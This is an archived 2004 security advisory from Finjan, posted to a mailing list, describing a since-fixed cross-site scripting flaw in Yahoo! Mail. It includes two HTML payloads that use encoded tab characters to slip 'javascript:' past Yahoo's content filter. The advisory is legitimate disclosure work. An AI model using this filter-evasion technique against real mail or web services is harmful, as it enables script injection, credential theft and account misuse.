Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security VulnWatch
[Top] [All Lists]

Yahoo! Mail Cross-Site Scripting Vulnerability

Subject: Yahoo! Mail Cross-Site Scripting Vulnerability
Date: Fri, 15 Oct 2004 10:55:52 +0200
Finjan Security Advisory
=================
Yahoo! Mail Cross-Site Scripting Vulnerability


Introduction ------------ Finjan has discovered a script injection vulnerability in Yahoo! Mail that allows a remote attacker to execute malicious scripts when the victim is reading his/her mail.


Technical Description --------------------- Yahoo’s mobile code filtering mechanism is based on an active content filter whose purpose is to block the injection of any active content into Yahoo! messages. Yahoo’s filter identifies any instance of the inline use of the javascript protocol (e.g. “javascript:”) and upon identification adds an underscore before the “j”, thus creating an invalid protocol request. The above filtering algorithm can be bypassed by inserting encoded tab characters (	) into the “javascript” string.

For example:
------------
<div style="background: url(j&#x0009;a&#x0009;v&#x0009;a&#x0009;
s&#x0009;c&#x0009;r&#x0009;i&#x0009;p&#x0009;t:alert());"></div>

Any tag that supports the style property can be used to call a javascript file.
The injected javascript code could lead to:
• Automatic launching of malicious code
• Stealing the victim’s password by using a spoofed re-login window
• Reading the victim’s inbox and contacts
• Sending an email message without any user authorization



The Code (Proof of Concept) ----------------------cut here----------------------- <div style="&#x000062;&#x000061;&#x00063;&#x00006B;&#x000067;&#x000072; &#x00006F;&#x000075;&#x00006E;&#x000064;&#x00003A;&#x00075;&#x00072; &#x0006C;&#x00028;j&#x00061;&#x0009;&#x0009;v&#x0009;&#x00061;&#x0009; s&#x00063;&#x0009;&#x00072;&#x0009;&#x00069;&#x0009;&#x00070;&#x0009; &#x00074;&#x0003A;alert());"></div> ----------------------cut here-----------------------


Vulnerability Status -------------------- Vendor was notified on Sep 8th, 2004. The bug is now fixed.


Credit
------
Rafel Ivgi, Malicious Code Research Center (MCRC), Finjan Software Ltd.



----------------------------------------------- This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm)

<Prev in Thread] Current Thread [Next in Thread>
  • Yahoo! Mail Cross-Site Scripting Vulnerability, Rafel Ivgi <=